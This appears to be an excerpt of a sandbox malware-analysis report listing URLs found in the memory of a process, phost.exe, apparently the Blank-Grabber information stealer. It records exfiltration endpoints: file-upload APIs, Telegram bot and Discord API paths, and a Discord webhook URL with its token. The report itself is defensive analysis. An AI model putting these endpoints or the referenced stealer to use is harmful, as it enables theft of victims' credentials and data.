Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677087289.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000002.2191688030.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677087289.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000002.2191688030.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 0000004A.00000002.1977970654.000001C717252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680222477.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680222477.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 0000000C.00000002.1766471462.00000211900C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000C.00000002.1766471462.000002118FEA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004A.00000002.1977970654.000001C715941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000C.00000002.1766471462.00000211900C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: phost.exe, 00000001.00000002.2179089914.000001AE1DAA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680222477.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680222477.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680222477.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 0000004A.00000002.1977970654.000001C7170AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 0000004A.00000002.1977970654.000001C717252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: phost.exe, 00000000.00000003.1677087289.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678323693.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680316164.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677482019.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680438634.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676333004.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1679137996.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676118699.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1675971117.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676634666.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677207017.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678869412.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1681353706.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1676526490.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1677342281.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1678758922.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: phost.exe, 00000001.00000002.2177248707.000001AE1D1A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: phost.exe, 00000001.00000003.2170059092.000001AE1D721000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftHEETS~1.MD5y./
Source: phost.exe, 00000001.00000003.1837339893.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1817643168.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftJDICCL~1PMAy./
Source: phost.exe, 00000001.00000003.1849010645.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftMESSAG~1.JSOy./
Source: phost.exe, 00000001.00000003.1886265486.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftOOGLE~1.MD5y./
Source: phost.exe, 00000001.00000002.2178359191.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftTASKLI~1.TXTy./
Source: phost.exe, 00000001.00000003.1854068522.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftVERIFI~1.JSOy./
Source: phost.exe, 00000001.00000002.2178359191.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftXZXHAV~1.DOCy.QN_
Source: phost.exe, 00000001.00000003.1866119745.000001AE1E6F3000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2180428095.000001AE1E920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: phost.exe, 00000001.00000003.2169554554.000001AE1E117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: phost.exe, 00000001.00000003.1866119745.000001AE1E6F6000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2179807278.000001AE1E6EA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2180428095.000001AE1E964000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 0000000C.00000002.1766471462.000002118FEA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000004A.00000002.1977970654.000001C715941000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: phost.exe, 00000001.00000002.2179183258.000001AE1DC84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadr
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerrz
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerrzr
Source: phost.exe, 00000001.00000003.2169952863.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.stripe.com/v
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1816470539.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1702313330.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1864030272.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1885946451.000001AE1D336000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1848757509.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2169952863.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2177462355.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: phost.exe, 00000001.00000002.2179183258.000001AE1DC84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: phost.exe, 00000001.00000003.2169952863.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: phost.exe, 00000001.00000003.2169554554.000001AE1E117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: phost.exe, 00000001.00000003.2169554554.000001AE1E117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: phost.exe, 00000001.00000003.2169554554.000001AE1E117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000004A.00000002.2029247692.000001C725AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000004A.00000002.2029247692.000001C725AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000004A.00000002.2029247692.000001C725AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680222477.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680222477.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: phost.exe, 00000000.00000003.1679692860.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000000.00000003.1680222477.000001C32AC8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: phost.exe, 00000001.00000002.2178966357.000001AE1D9A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1267176433306829014/YhEVi7QXrkO9uMJodvR8Fp2e6uTZlqxB6sVXodhGTQI4MPs
Source: phost.exe, 00000001.00000003.2169952863.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v
Source: phost.exe, 00000001.00000002.2177140880.000001AE1D0A0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: phost.exe, 00000001.00000002.2176356488.000001AE1B291000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: phost.exe, 00000001.00000002.2176648071.000001AE1CC60000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2176648071.000001AE1CCDC000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2176648071.000001AE1CCDC000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2176648071.000001AE1CCDC000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2176648071.000001AE1CCDC000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: phost.exe, 00000001.00000002.2176790969.000001AE1CEA0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: phost.exe, 00000001.00000002.2176790969.000001AE1CEA0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2176648071.000001AE1CCDC000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: phost.exe, 00000001.00000002.2176893974.000001AE1CFA0000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684912540.000001AE1CFA2000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: phost.exe, 00000001.00000003.2169554554.000001AE1E117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: phost.exe, 00000001.00000003.2169554554.000001AE1E117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: phost.exe, 00000001.00000003.2169554554.000001AE1E117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: phost.exe, 00000001.00000002.2178966357.000001AE1DA0C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D906000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D953000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.1751303220.000001E22D972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000014.00000003.1751303220.000001E22D972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: phost.exe, 00000001.00000002.2176893974.000001AE1D044000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: phost.exe, 00000001.00000003.1816470539.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1702313330.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1864030272.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1885946451.000001AE1D336000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1848757509.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2169952863.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2177462355.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: phost.exe, 00000001.00000003.1816470539.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1702313330.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1864030272.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1885946451.000001AE1D336000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1848757509.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2169952863.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2177462355.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberr
Source: phost.exe, 00000001.00000003.1696381167.000001AE1D8A6000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1696732684.000001AE1D31E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 0000004A.00000002.1977970654.000001C717252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: phost.exe, 00000001.00000002.2176893974.000001AE1CFA0000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684912540.000001AE1CFA2000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2176648071.000001AE1CCDC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: phost.exe, 00000001.00000002.2176893974.000001AE1CFA0000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684912540.000001AE1CFA2000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: phost.exe, 00000001.00000003.1702435717.000001AE1D5F8000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1702994368.000001AE1D630000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2176893974.000001AE1CFB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: phost.exe, 00000001.00000002.2176893974.000001AE1CFA0000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684583206.000001AE1CFAA000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684912540.000001AE1CFA2000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1684728779.000001AE1CFA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: phost.exe, 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1704494690.000001AE1D381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urlli
Source: phost.exe, 00000001.00000002.2178966357.000001AE1DA0C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
